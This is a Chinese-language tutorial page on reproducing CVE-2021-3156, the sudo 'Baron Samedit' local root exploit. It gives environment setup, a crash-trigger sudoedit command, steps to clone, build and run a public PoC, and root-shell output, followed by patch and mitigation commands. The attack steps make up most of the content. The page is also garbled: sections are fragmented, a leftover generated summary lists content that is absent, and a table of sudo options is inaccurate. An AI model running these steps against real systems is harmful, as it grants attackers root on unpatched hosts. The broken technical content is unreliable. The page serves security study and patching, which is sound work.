您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 怎么进行本地提权漏洞CVE-2021-3156复现
## 一、漏洞概述
CVE-2021-3156是2021年1月曝出的sudo程序堆缓冲区溢出漏洞,由Qualys安全团队发现并命名为"Baron Samedit"。该漏洞影响范围广泛:
- **影响版本**:sudo 1.8.2 - 1.8.31p2及1.9.0 - 1.9.5p1
- **漏洞类型**:基于堆的缓冲区溢出
- **危险等级**:高危(CVSS 7.8)
- **利用条件**:普通用户权限+sudoers文件配置特定参数
## 二、环境准备
### 1. 漏洞环境搭建
推荐使用以下方式快速搭建测试环境:
```bash
# 使用Ubuntu 20.04 LTS
docker pull ubuntu:20.04
docker run -it --name=cve-2021-3156 ubuntu:20.04
# 安装存在漏洞的sudo版本
apt update && apt install -y sudo=1.8.31-1ubuntu1.2
执行以下命令验证漏洞:
sudoedit -s '\' `perl -e 'print "A" x 65536'`
若返回malloc(): corrupted top size
或段错误,则存在漏洞。
推荐使用以下PoC(需gcc编译环境):
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
编译后生成exploit
可执行文件:
./exploit
成功执行后将获得root权限的shell:
# whoami
root
参数 | 作用 |
---|---|
-s | 指定目标shell路径 |
-w | 指定工作目录 |
-m | 指定权限掩码 |
sudoedit -s
时,sudo尝试转义命令行参数set_cmnd()
函数中错误处理反斜杠字符+---------------------+
| original chunk |
+---------------------+
| overflow data | ---> 覆盖相邻chunk头部
+---------------------+
| target chunk |
+---------------------+
升级到以下版本: - sudo >= 1.9.5p2 - 各发行版已发布安全更新:
# Ubuntu/Debian
sudo apt update && sudo apt upgrade sudo
# CentOS/RHEL
sudo yum update sudo
如无法立即升级,可通过以下方式缓解:
# 移除sudoedit的SUID位
chmod 0755 /usr/bin/sudoedit
注意:本文仅用于安全研究学习,未经授权不得用于实际渗透测试。根据《网络安全法》相关规定,任何未经授权的漏洞利用行为均属违法。 “`
该文档包含: 1. 完整的漏洞复现流程 2. 技术原理说明 3. 可视化表格和代码块 4. 防御方案和注意事项 5. 扩展学习资源 6. 法律风险提示
可根据实际测试环境调整PoC来源和具体参数,建议在隔离的虚拟机环境中进行测试。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。